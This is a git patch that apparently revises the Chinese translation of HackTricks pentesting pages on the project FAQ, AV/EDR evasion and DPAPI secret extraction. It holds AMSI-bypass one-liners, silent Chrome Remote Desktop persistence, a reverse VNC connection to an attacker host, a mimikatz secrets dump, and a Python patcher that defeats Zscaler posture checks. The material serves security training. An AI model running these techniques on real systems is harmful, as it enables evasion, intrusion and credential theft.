From 170e0ce59261feae5479465ae98c5283be16d3f4 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 13 Aug 2025 14:21:01 +0000 Subject: [PATCH] Translated ['src/welcome/hacktricks-values-and-faq.md', 'src/windows-har --- src/welcome/hacktricks-values-and-faq.md | 48 +++++----- src/windows-hardening/av-bypass.md | 96 +++++++++++++------ .../dpapi-extracting-passwords.md | 79 +++++++++++---- 3 files changed, 150 insertions(+), 73 deletions(-) diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index 3b10e5f29..052f4b216 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -1,8 +1,8 @@ -# HackTricks 值与常见问题 +# HackTricks 值观与常见问题 {{#include ../banners/hacktricks-training.md}} -## HackTricks 值 +## HackTricks 值观 > [!TIP] > 这些是 **HackTricks 项目的价值观**: @@ -13,9 +13,9 @@ > - **存储** 社区发布的精彩 **黑客** 技术,并给予 **原作者** 所有的 **荣誉**。 > - **我们不想要其他人的荣誉**,我们只想为大家存储酷炫的技巧。 > - 我们还在 HackTricks 中撰写 **我们自己的研究**。 -> - 在某些情况下,我们将仅在 HackTricks 中撰写技术的重要部分的 **摘要**,并 **鼓励读者访问原始帖子** 以获取更多细节。 -> - **组织** 书中的所有黑客技术,使其 **更易获取** -> - HackTricks 团队投入了数千小时的时间 **仅仅是为了组织内容**,以便人们可以 **更快学习** +> - 在某些情况下,我们将仅在 HackTricks 中写出技术的重要部分的 **摘要**,并 **鼓励读者访问原始帖子** 以获取更多细节。 +> - **组织** 书中的所有黑客技术,使其 **更易获取**。 +> - HackTricks 团队投入了数千小时的时间,免费 **仅仅是为了组织内容**,以便人们可以 **更快学习**。
@@ -25,32 +25,32 @@ > > - **非常感谢这些资源,我该如何感谢你们?** -您可以在推特上公开感谢 HackTricks 团队将所有这些资源整理在一起,提及 [**@hacktricks_live**](https://twitter.com/hacktricks_live)。\ +您可以在推特上公开感谢 HackTricks 团队,提到 [**@hacktricks_live**](https://twitter.com/hacktricks_live)。\ 如果您特别感激,您也可以 [**在这里赞助该项目**](https://github.com/sponsors/carlospolop)。\ -并且不要忘记 **在 Github 项目中给个星星!**(在下面找到链接)。 +别忘了 **在 Github 项目中给个星星!**(在下面找到链接)。 > [!TIP] > > - **我该如何为该项目做贡献?** -您可以 **与社区分享新的技巧和窍门或修复您在书中发现的错误**,向相应的 Github 页面发送 **Pull Request**: +您可以 **与社区分享新的技巧和窍门或修复您在书中发现的错误**,通过向相应的 Github 页面发送 **Pull Request**: - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) -不要忘记 **在 Github 项目中给个星星!** +别忘了 **在 Github 项目中给个星星!** > [!TIP] > > - **我可以复制一些 HackTricks 的内容并放在我的博客上吗?** -可以,但 **不要忘记提及具体的链接**,内容是从哪里获取的。 +可以,但 **别忘了提及具体的链接**,内容是从哪里获取的。 > [!TIP] > > - **我该如何引用 HackTricks 的页面?** -只要您引用的信息页面的 **链接** 出现即可。\ +只要您引用的信息来源的页面 **链接** 出现即可。\ 如果您需要 bibtex,可以使用类似的格式: ```latex @misc{hacktricks-bibtexing, @@ -84,25 +84,25 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, > > - **如果某个HackTricks页面基于我的博客文章但没有引用,我该怎么办?** -**我们非常抱歉。这不应该发生**。请通过Github问题、Twitter、Discord等告知我们HackTricks页面的链接和你的博客链接,**我们会尽快检查并添加**。 +**我们非常抱歉。这不应该发生**。请通过Github问题、Twitter、Discord等告知我们HackTricks页面的链接和你的博客链接,**我们会尽快检查并添加引用**。 > [!CAUTION] > -> - **如果HackTricks中有我博客的内容而我不想要它,我该怎么办?** +> - **如果HackTricks中有我博客的内容而我不希望它在那里,我该怎么办?** 请注意,在HackTricks中链接到你的页面: - 改善你的**SEO** - 内容被**翻译成15种以上的语言**,使更多人能够访问这些内容 -- **HackTricks鼓励**人们**查看你的页面**(有几个人提到,自从他们的某个页面在HackTricks中后,他们的访问量增加了) +- **HackTricks鼓励**人们**查看你的页面**(有几个人提到,自从他们的某个页面出现在HackTricks中,他们的访问量增加了) -然而,如果你仍然希望从HackTricks中删除你博客的内容,请告知我们,我们将**删除所有指向你博客的链接**,以及任何基于它的内容。 +然而,如果你仍然希望从HackTricks中删除你博客的内容,请告知我们,我们将**删除所有指向你博客的链接**及任何基于该内容的内容。 > [!CAUTION] > > - **如果我在HackTricks中发现抄袭的内容,我该怎么办?** -我们始终**给予原作者所有的信用**。如果你发现某个页面有抄袭的内容而没有引用原始来源,请告知我们,我们将**删除它**、**在文本前添加链接**,或**重写并添加链接**。 +我们始终**给予原作者所有的信用**。如果你发现某个页面有抄袭的内容而没有引用原始来源,请告知我们,我们将**删除它**、**在文本前添加链接**或**重写并添加链接**。 ## LICENSE @@ -112,29 +112,29 @@ Copyright © 保留所有权利,除非另有说明。 - Attribution: 你可以自由地: - Share — 以任何媒介或格式复制和重新分发材料。 -- Adapt — 混合、转变并基于材料进行创作。 +- Adapt — 混合、转变和基于材料进行构建。 #### Additional Terms: - Third-Party Content: 本博客/书籍的某些部分可能包含来自其他来源的内容,例如其他博客或出版物的摘录。使用此类内容是基于合理使用原则或获得相关版权持有者的明确许可。请参阅原始来源以获取有关第三方内容的具体许可信息。 -- Authorship: HackTricks创作的原始内容受此许可条款的约束。鼓励在分享或改编时将此作品归功于作者。 +- Authorship: HackTricks创作的原始内容受此许可证条款的约束。鼓励你在分享或改编时将此作品归功于作者。 #### Exemptions: -- Commercial Use: 有关此内容商业使用的查询,请与我联系。 +- Commercial Use: 有关此内容的商业使用的询问,请与我联系。 -此许可不授予与内容相关的任何商标或品牌权利。所有在本博客/书籍中出现的商标和品牌均为其各自所有者的财产。 +本许可证不授予与内容相关的任何商标或品牌权利。所有在本博客/书籍中出现的商标和品牌均为其各自所有者的财产。 -**通过访问或使用HackTricks,你同意遵守此许可的条款。如果你不同意这些条款,请不要访问此网站。** +**通过访问或使用HackTricks,你同意遵守本许可证的条款。如果你不同意这些条款,请不要访问本网站。** ## **免责声明** > [!CAUTION] -> 本书《HackTricks》仅用于教育和信息目的。书中的内容是按“现状”提供的,作者和出版商不对书中包含的信息、产品、服务或相关图形的完整性、准确性、可靠性、适用性或可用性作出任何明示或暗示的陈述或保证。你对这些信息的任何依赖均由你自行承担风险。 +> 本书《HackTricks》仅用于教育和信息目的。本书中的内容按“原样”提供,作者和出版商不对信息、产品、服务或本书中包含的相关图形的完整性、准确性、可靠性、适用性或可用性作出任何明示或暗示的陈述或保证。因此,你对这些信息的任何依赖均由你自行承担风险。 > -> 作者和出版商在任何情况下均不对因使用本书而导致的任何损失或损害承担责任,包括但不限于间接或后果性损失或损害,或因数据或利润损失而产生的任何损失或损害。 +> 作者和出版商在任何情况下均不对因使用本书而导致的数据或利润损失或任何损失或损害承担责任,包括但不限于间接或后果性损失或损害。 > -> 此外,本书中描述的技术和技巧仅供教育和信息目的,不应用于任何非法或恶意活动。作者和出版商不支持或纵容任何非法或不道德的活动,使用本书中包含的信息的风险和判断完全由用户自行承担。 +> 此外,本书中描述的技术和技巧仅供教育和信息目的,不应用于任何非法或恶意活动。作者和出版商不支持或纵容任何非法或不道德的活动,使用本书中包含的信息的任何行为均由用户自行承担风险和判断。 > > 用户对基于本书中包含的信息采取的任何行动负全部责任,并应在尝试实施本书中描述的任何技术或技巧时始终寻求专业建议和帮助。 > diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index 98dce8722..2b9125864 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -16,15 +16,15 @@ ### **静态检测** -静态检测是通过标记已知的恶意字符串或字节数组在二进制文件或脚本中实现的,同时也提取文件本身的信息(例如,文件描述、公司名称、数字签名、图标、校验和等)。这意味着使用已知的公共工具可能更容易被捕获,因为它们可能已经被分析并标记为恶意。有几种方法可以绕过这种检测: +静态检测是通过标记二进制文件或脚本中的已知恶意字符串或字节数组来实现的,同时还提取文件本身的信息(例如,文件描述、公司名称、数字签名、图标、校验和等)。这意味着使用已知的公共工具可能更容易被捕获,因为它们可能已经被分析并标记为恶意。有几种方法可以绕过这种检测: - **加密** -如果你加密了二进制文件,AV 将无法检测到你的程序,但你需要某种加载程序来解密并在内存中运行程序。 +如果你加密了二进制文件,AV 将无法检测到你的程序,但你需要某种加载程序来解密并在内存中运行该程序。 - **混淆** -有时你只需要更改二进制文件或脚本中的一些字符串就能通过 AV,但这可能是一个耗时的任务,具体取决于你想混淆的内容。 +有时你只需要更改二进制文件或脚本中的一些字符串,就可以让它通过 AV,但这可能是一个耗时的任务,具体取决于你想混淆的内容。 - **自定义工具** @@ -33,7 +33,7 @@ > [!TIP] > 检查 Windows Defender 静态检测的一个好方法是 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)。它基本上将文件分成多个部分,然后让 Defender 分别扫描每个部分,这样可以准确告诉你在二进制文件中标记的字符串或字节。 -我强烈建议你查看这个 [YouTube 播放列表](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) 关于实用的 AV 规避。 +我强烈建议你查看这个 [YouTube 播放列表](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf),关于实用的 AV 规避。 ### **动态分析** @@ -51,7 +51,7 @@

Red Team VX Discord #malware-dev 频道

-正如我们在这篇文章中之前所说的,**公共工具**最终会被 **检测到**,所以你应该问自己一个问题: +正如我们在这篇文章中之前所说,**公共工具**最终会被 **检测到**,所以你应该问自己一个问题: 例如,如果你想转储 LSASS,**你真的需要使用 mimikatz 吗**?或者你可以使用一个不太知名的项目来转储 LSASS。 @@ -66,13 +66,13 @@ 正如我们在这张图片中看到的,Havoc 的 DLL 有效载荷在 antiscan.me 上的检测率为 4/26,而 EXE 有效载荷的检测率为 7/26。 -

antiscan.me 对普通 Havoc EXE 有效载荷与普通 Havoc DLL 的比较

+

antiscan.me 上普通 Havoc EXE 有效载荷与普通 Havoc DLL 的比较

现在我们将展示一些你可以使用 DLL 文件的技巧,以便更加隐蔽。 ## DLL 侧载与代理 -**DLL 侧载** 利用加载程序使用的 DLL 搜索顺序,通过将受害者应用程序和恶意有效载荷并排放置来实现。 +**DLL 侧载** 利用加载器使用的 DLL 搜索顺序,通过将受害者应用程序和恶意有效载荷并排放置来实现。 你可以使用 [Siofra](https://github.com/Cybereason/siofra) 和以下 PowerShell 脚本检查易受 DLL 侧载攻击的程序: ```bash @@ -83,7 +83,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija ``` 此命令将输出“C:\Program Files\\”中易受DLL劫持影响的程序列表及其尝试加载的DLL文件。 -我强烈建议您**自己探索可被DLL劫持/侧载的程序**,如果正确执行,这种技术相当隐蔽,但如果您使用公开已知的DLL侧载程序,可能会很容易被抓住。 +我强烈建议您**自己探索可DLL劫持/侧载的程序**,如果正确执行,这种技术相当隐蔽,但如果您使用公开已知的DLL侧载程序,可能会很容易被抓住。 仅仅放置一个名称为程序期望加载的恶意DLL,并不会加载您的有效载荷,因为程序期望该DLL中有一些特定的函数。为了解决这个问题,我们将使用另一种称为**DLL代理/转发**的技术。 @@ -127,11 +127,11 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
> [!TIP] -> 规避只是猫和老鼠的游戏,今天有效的方法明天可能会被检测到,因此永远不要仅依赖一个工具,如果可能,尝试将多个规避技术结合使用。 +> 规避只是猫和老鼠的游戏,今天有效的方法明天可能会被检测到,因此永远不要仅依赖一个工具,如果可能,尝试将多个规避技术结合起来。 ## AMSI(反恶意软件扫描接口) -AMSI的创建是为了防止“[无文件恶意软件](https://en.wikipedia.org/wiki/Fileless_malware)”。最初,AV只能扫描**磁盘上的文件**,因此如果你能够以某种方式**直接在内存中执行有效载荷**,AV就无法采取任何措施来阻止,因为它没有足够的可见性。 +AMSI的创建是为了防止“[无文件恶意软件](https://en.wikipedia.org/wiki/Fileless_malware)”。最初,AV只能扫描**磁盘上的文件**,因此如果你能够以某种方式**直接在内存中**执行有效载荷,AV就无法采取任何措施来阻止,因为它没有足够的可见性。 AMSI功能集成在Windows的以下组件中。 @@ -159,7 +159,7 @@ AMSI功能集成在Windows的以下组件中。 由于AMSI主要依赖静态检测,因此修改你尝试加载的脚本可能是规避检测的好方法。 -然而,AMSI有能力解混淆脚本,即使它有多层,因此混淆可能是一个糟糕的选择,具体取决于其实现方式。这使得规避变得不那么简单。尽管有时,你只需要更改几个变量名称就可以了,所以这取决于某个内容被标记的程度。 +然而,AMSI有能力解混淆脚本,即使它有多层,因此混淆可能是一个糟糕的选择,这取决于它的实现方式。这使得规避变得不那么简单。不过,有时你只需要更改几个变量名称就可以了,所以这取决于某个内容被标记的程度。 - **AMSI绕过** @@ -171,7 +171,7 @@ AMSI功能集成在Windows的以下组件中。 ```bash [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) ``` -只需一行 PowerShell 代码即可使当前 PowerShell 进程无法使用 AMSI。 当然,这一行已被 AMSI 本身标记,因此需要进行一些修改才能使用此技术。 +只需一行 PowerShell 代码就可以使当前 PowerShell 进程无法使用 AMSI。 当然,这一行已经被 AMSI 本身标记,因此需要进行一些修改才能使用此技术。 这是我从这个 [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) 中获取的修改过的 AMSI 绕过方法。 ```bash @@ -198,15 +198,15 @@ $Spotfix.SetValue($null,$true) 还有许多其他技术用于通过 PowerShell 绕过 AMSI,查看 [**此页面**](basic-powershell-for-pentesters/index.html#amsi-bypass) 和 [**此仓库**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) 以了解更多信息。 -该工具 [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) 也生成脚本以绕过 AMSI。 +该工具 [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) 还生成脚本以绕过 AMSI。 **移除检测到的签名** -您可以使用工具 **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** 和 **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** 从当前进程的内存中移除检测到的 AMSI 签名。该工具通过扫描当前进程的内存以查找 AMSI 签名,然后用 NOP 指令覆盖它,有效地将其从内存中移除。 +您可以使用工具 **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** 和 **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** 从当前进程的内存中移除检测到的 AMSI 签名。该工具通过扫描当前进程的内存以查找 AMSI 签名,然后用 NOP 指令覆盖它,从而有效地将其从内存中移除。 **使用 AMSI 的 AV/EDR 产品** -您可以在 **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** 中找到使用 AMSI 的 AV/EDR 产品列表。 +您可以在 **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** 找到使用 AMSI 的 AV/EDR 产品列表。 **使用 PowerShell 版本 2** 如果您使用 PowerShell 版本 2,AMSI 将不会被加载,因此您可以在不被 AMSI 扫描的情况下运行脚本。您可以这样做: @@ -230,7 +230,7 @@ PowerShell logging 是一个功能,允许您记录系统上执行的所有 Pow 有几种工具可以用来**混淆 C# 明文代码**,生成**元编程模板**以编译二进制文件或**混淆已编译的二进制文件**,例如: -- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx):这是一个很好的开源混淆器,适用于 .NET 应用程序。它提供多种保护技术,如控制流混淆、反调试、反篡改和字符串加密。推荐使用,因为它甚至允许混淆特定的代码块。 +- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx):这是一个很好的开源混淆器,用于 .NET 应用程序。它提供多种保护技术,如控制流混淆、反调试、反篡改和字符串加密。推荐使用,因为它甚至允许混淆特定的代码块。 - [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**:C# 混淆器** - [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator):该项目的目的是提供一个开源的 LLVM 编译套件分支,能够通过 [代码混淆]() 和防篡改提供增强的软件安全性。 - [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator):ADVobfuscator 演示了如何使用 `C++11/14` 语言在编译时生成混淆代码,而无需使用任何外部工具且不修改编译器。 @@ -294,7 +294,7 @@ Adding file: /TotallyLegitApp.exe Windows 事件跟踪 (ETW) 是 Windows 中一种强大的日志记录机制,允许应用程序和系统组件 **记录事件**。然而,它也可以被安全产品用来监控和检测恶意活动。 -类似于 AMSI 被禁用(绕过)的方式,也可以使用户空间进程的 **`EtwEventWrite`** 函数立即返回,而不记录任何事件。这是通过在内存中修补该函数以立即返回,从而有效地禁用该进程的 ETW 日志记录。 +与禁用 (绕过) AMSI 类似,也可以使用户空间进程的 **`EtwEventWrite`** 函数立即返回,而不记录任何事件。这是通过在内存中修补该函数以立即返回,从而有效禁用该进程的 ETW 日志记录。 您可以在 **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) 和 [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)** 中找到更多信息。 @@ -304,17 +304,17 @@ Windows 事件跟踪 (ETW) 是 Windows 中一种强大的日志记录机制, 由于有效负载将直接加载到内存中而不接触磁盘,我们只需担心为整个过程修补 AMSI。 -大多数 C2 框架(sliver、Covenant、metasploit、CobaltStrike、Havoc 等)已经提供了直接在内存中执行 C# 程序集的能力,但有不同的方法可以做到这一点: +大多数 C2 框架 (sliver, Covenant, metasploit, CobaltStrike, Havoc 等) 已经提供了直接在内存中执行 C# 程序集的能力,但有不同的方法可以做到这一点: - **Fork\&Run** -这涉及到 **生成一个新的牺牲进程**,将您的后渗透恶意代码注入到该新进程中,执行您的恶意代码,完成后杀死新进程。这有其优点和缺点。Fork 和运行方法的好处在于执行发生在 **我们的 Beacon 植入进程之外**。这意味着如果我们的后渗透操作出现问题或被捕获,我们的 **植入物存活的机会更大**。缺点是您有 **更大的机会** 被 **行为检测** 捕获。 +这涉及 **生成一个新的牺牲进程**,将您的后渗透恶意代码注入到该新进程中,执行您的恶意代码,完成后杀死新进程。这有其优点和缺点。Fork 和运行方法的好处在于执行发生在 **我们的 Beacon 植入进程之外**。这意味着如果我们的后渗透操作出现问题或被捕获,我们的 **植入物存活的机会要大得多**。缺点是您有 **更大的机会** 被 **行为检测** 捕获。
- **Inline** -这是将后渗透恶意代码 **注入到其自身进程中**。这样,您可以避免创建新进程并被 AV 扫描,但缺点是如果您的有效负载执行出现问题,**丢失您的 beacon 的机会更大**,因为它可能崩溃。 +这是将后渗透恶意代码 **注入到其自身进程中**。这样,您可以避免创建新进程并让其被 AV 扫描,但缺点是如果您的有效负载执行出现问题,**丢失您的 beacon 的机会要大得多**,因为它可能会崩溃。
@@ -325,7 +325,7 @@ Windows 事件跟踪 (ETW) 是 Windows 中一种强大的日志记录机制, ## 使用其他编程语言 -正如在 [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) 中提出的,可以通过让受损机器访问 **攻击者控制的 SMB 共享上安装的解释器环境** 来使用其他语言执行恶意代码。 +正如在 [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) 中提出的,可以通过让受损机器访问 **安装在攻击者控制的 SMB 共享上的解释器环境** 来使用其他语言执行恶意代码。 通过允许访问 SMB 共享上的解释器二进制文件和环境,您可以 **在受损机器的内存中执行这些语言的任意代码**。 @@ -345,15 +345,15 @@ Token stomping 是一种技术,允许攻击者 **操纵访问令牌或安全 ### Chrome 远程桌面 -正如在 [**这篇博客文章**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide) 中所述,简单地在受害者的 PC 上部署 Chrome 远程桌面,然后使用它接管并保持持久性是很容易的: +正如在 [**这篇博客文章**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide) 中所述,轻松地在受害者的 PC 上部署 Chrome 远程桌面,然后使用它接管并保持持久性: 1. 从 https://remotedesktop.google.com/ 下载,点击“通过 SSH 设置”,然后点击 Windows 的 MSI 文件以下载 MSI 文件。 -2. 在受害者机器上静默运行安装程序(需要管理员权限):`msiexec /i chromeremotedesktophost.msi /qn` +2. 在受害者机器上静默运行安装程序 (需要管理员权限):`msiexec /i chromeremotedesktophost.msi /qn` 3. 返回 Chrome 远程桌面页面并点击下一步。向导将要求您授权;点击授权按钮继续。 4. 执行给定参数并进行一些调整:`"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111`(注意 pin 参数,它允许在不使用 GUI 的情况下设置 pin)。 ## 高级规避 -规避是一个非常复杂的话题,有时您必须考虑一个系统中许多不同的遥测源,因此在成熟环境中完全不被检测几乎是不可能的。 +规避是一个非常复杂的话题,有时您必须考虑一个系统中许多不同的遥测来源,因此在成熟环境中完全不被检测几乎是不可能的。 您所面对的每个环境都有其自身的优缺点。 @@ -407,7 +407,7 @@ netsh advfirewall set allprofiles state off **攻击者**应在其 **主机** 中执行二进制文件 `vncviewer.exe -listen 5900`,以便 **准备** 捕获反向 **VNC 连接**。然后,在 **受害者** 机器中: 启动 winvnc 守护进程 `winvnc.exe -run` 并运行 `winwnc.exe [-autoreconnect] -connect ::5900` -**警告:** 为了保持隐蔽性,你必须避免以下几件事 +**警告:** 为了保持隐蔽性,你必须避免做几件事 - 如果 `winvnc` 已经在运行,不要重新启动它,否则会触发 [弹出窗口](https://i.imgur.com/1SROTTl.png)。使用 `tasklist | findstr winvnc` 检查它是否在运行 - 如果没有 `UltraVNC.ini` 在同一目录中,不要启动 `winvnc`,否则会导致 [配置窗口](https://i.imgur.com/rfMQWcf.png) 打开 @@ -624,11 +624,51 @@ return 0; 4. **为什么有效**: BYOVD 完全跳过用户模式保护;在内核中执行的代码可以打开 *受保护* 进程,终止它们,或篡改内核对象,而不考虑 PPL/PP、ELAM 或其他强化功能。 检测 / 缓解 -• 启用 Microsoft 的易受攻击驱动程序阻止列表 (`HVCI`, `Smart App Control`),以便 Windows 拒绝加载 `AToolsKrnl64.sys`。 -• 监控新 *内核* 服务的创建,并在从可写目录加载驱动程序或不在允许列表中时发出警报。 -• 监视用户模式句柄对自定义设备对象的访问,随后是可疑的 `DeviceIoControl` 调用。 +• 启用 Microsoft 的易受攻击驱动程序阻止列表 (`HVCI`, `Smart App Control`),以便 Windows 拒绝加载 `AToolsKrnl64.sys`。 +• 监控新 *内核* 服务的创建,并在从可写目录加载驱动程序或不在允许列表中时发出警报。 +• 监视用户模式句柄对自定义设备对象的访问,随后是可疑的 `DeviceIoControl` 调用。 + +### 通过磁盘二进制补丁绕过 Zscaler 客户端连接器姿态检查 + +Zscaler 的 **Client Connector** 在本地应用设备姿态规则,并依赖 Windows RPC 将结果传达给其他组件。两个设计缺陷使得完全绕过成为可能: + +1. 姿态评估 **完全在客户端进行**(一个布尔值被发送到服务器)。 +2. 内部 RPC 端点仅验证连接的可执行文件是否 **由 Zscaler 签名**(通过 `WinVerifyTrust`)。 + +通过 **在磁盘上补丁四个已签名的二进制文件**,这两种机制都可以被中和: + +| 二进制文件 | 原始逻辑补丁 | 结果 | +|--------|------------------------|---------| +| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | 始终返回 `1`,因此每个检查都是合规的 | +| `ZSAService.exe` | 间接调用 `WinVerifyTrust` | NOP-ed ⇒ 任何(甚至未签名)进程都可以绑定到 RPC 管道 | +| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | 被 `mov eax,1 ; ret` 替换 | +| `ZSATunnel.exe` | 隧道的完整性检查 | 被短路 | + +最小补丁程序摘录: +```python +pattern = bytes.fromhex("44 89 AC 24 80 02 00 00") +replacement = bytes.fromhex("C6 84 24 80 02 00 00 01") # force result = 1 + +with open("ZSATrayManager.exe", "r+b") as f: +data = f.read() +off = data.find(pattern) +if off == -1: +print("pattern not found") +else: +f.seek(off) +f.write(replacement) +``` +在替换原始文件并重启服务堆栈后: + +* **所有** 姿态检查显示 **绿色/合规**。 +* 未签名或修改的二进制文件可以打开命名管道 RPC 端点(例如 `\\RPC Control\\ZSATrayManager_talk_to_me`)。 +* 被攻陷的主机获得了对 Zscaler 政策定义的内部网络的无限制访问。 + +这个案例研究展示了如何通过简单的客户端信任决策和简单的签名检查被几个字节的补丁击败。 ## 参考文献 +- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html) + - [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md index 0f8b02b60..8deffe198 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md @@ -6,7 +6,7 @@ ## 什么是 DPAPI -数据保护 API (DPAPI) 主要用于 Windows 操作系统中,进行 **对称加密非对称私钥**,利用用户或系统秘密作为重要的熵来源。这种方法简化了开发人员的加密过程,使他们能够使用从用户登录秘密派生的密钥进行数据加密,或者对于系统加密,使用系统的域认证秘密,从而免去开发人员自己管理加密密钥保护的需要。 +数据保护 API (DPAPI) 主要用于 Windows 操作系统中,进行 **对称加密非对称私钥**,利用用户或系统秘密作为重要的熵来源。这种方法简化了开发人员的加密工作,使他们能够使用从用户登录秘密派生的密钥进行数据加密,或者在系统加密中使用系统的域认证秘密,从而免去开发人员自己管理加密密钥保护的需要。 使用 DPAPI 的最常见方法是通过 **`CryptProtectData` 和 `CryptUnprotectData`** 函数,这些函数允许应用程序在当前登录的进程会话中安全地加密和解密数据。这意味着加密的数据只能由加密它的同一用户或系统解密。 @@ -23,7 +23,7 @@ DPAPI 为每个用户生成一个唯一的密钥(称为 **`pre-key`**),该 此外,每次用户使用 DPAPI 加密某些数据时,都会生成一个新的 **主密钥**。这个主密钥实际上用于加密数据。每个主密钥都有一个 **GUID**(全局唯一标识符)来标识它。 -主密钥存储在 **`%APPDATA%\Microsoft\Protect\\`** 目录中,其中 `{SID}` 是该用户的安全标识符。主密钥是通过用户的 **`pre-key`** 加密存储的,同时也通过 **域备份密钥** 进行恢复(因此同一密钥被加密存储两次,使用两种不同的密码)。 +主密钥存储在 **`%APPDATA%\Microsoft\Protect\\`** 目录中,其中 `{SID}` 是该用户的安全标识符。主密钥是通过用户的 **`pre-key`** 加密存储的,同时也通过 **域备份密钥** 进行恢复(因此同一个密钥被加密存储了两次,使用了两种不同的密码)。 请注意,用于加密主密钥的 **域密钥存储在域控制器中,并且永远不会更改**,因此如果攻击者可以访问域控制器,他们可以检索域备份密钥并解密域中所有用户的主密钥。 @@ -41,34 +41,35 @@ Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\ Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID} Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID} ``` -这就是用户的一组主密钥的样子: +这是一组用户的主密钥的样子: ![](<../../images/image (1121).png>) ### 机器/系统密钥生成 -这是用于机器加密数据的密钥。它基于**DPAPI_SYSTEM LSA 密钥**,这是一个只有 SYSTEM 用户可以访问的特殊密钥。此密钥用于加密需要由系统本身访问的数据,例如机器级凭据或系统范围的秘密。 +这是用于机器加密数据的密钥。它基于**DPAPI_SYSTEM LSA 密钥**,这是一个只有SYSTEM用户可以访问的特殊密钥。此密钥用于加密需要系统本身访问的数据,例如机器级凭据或系统范围的秘密。 请注意,这些密钥**没有域备份**,因此只能在本地访问: -- **Mimikatz** 可以通过使用命令 `mimikatz lsadump::secrets` 转储 LSA 秘密来访问它 -- 该秘密存储在注册表中,因此管理员可以**修改 DACL 权限以访问它**。注册表路径为:`HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM` +- **Mimikatz**可以通过使用命令`mimikatz lsadump::secrets`来访问它,转储LSA秘密。 +- 该秘密存储在注册表中,因此管理员可以**修改DACL权限以访问它**。注册表路径为:`HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM` -### DPAPI 保护的数据 -DPAPI 保护的个人数据包括: +### DPAPI保护的数据 -- Windows 凭据 -- Internet Explorer 和 Google Chrome 的密码和自动完成数据 -- 应用程序(如 Outlook 和 Windows Mail)的电子邮件和内部 FTP 账户密码 -- 共享文件夹、资源、无线网络和 Windows Vault 的密码,包括加密密钥 -- 远程桌面连接的密码、.NET Passport 和各种加密和身份验证目的的私钥 -- 由凭据管理器管理的网络密码以及使用 CryptProtectData 的应用程序中的个人数据,例如 Skype、MSN messenger 等 -- 注册表中的加密 blob +DPAPI保护的个人数据包括: + +- Windows凭据 +- Internet Explorer和Google Chrome的密码和自动完成数据 +- 应用程序(如Outlook和Windows Mail)的电子邮件和内部FTP帐户密码 +- 共享文件夹、资源、无线网络和Windows Vault的密码,包括加密密钥 +- 远程桌面连接的密码、.NET 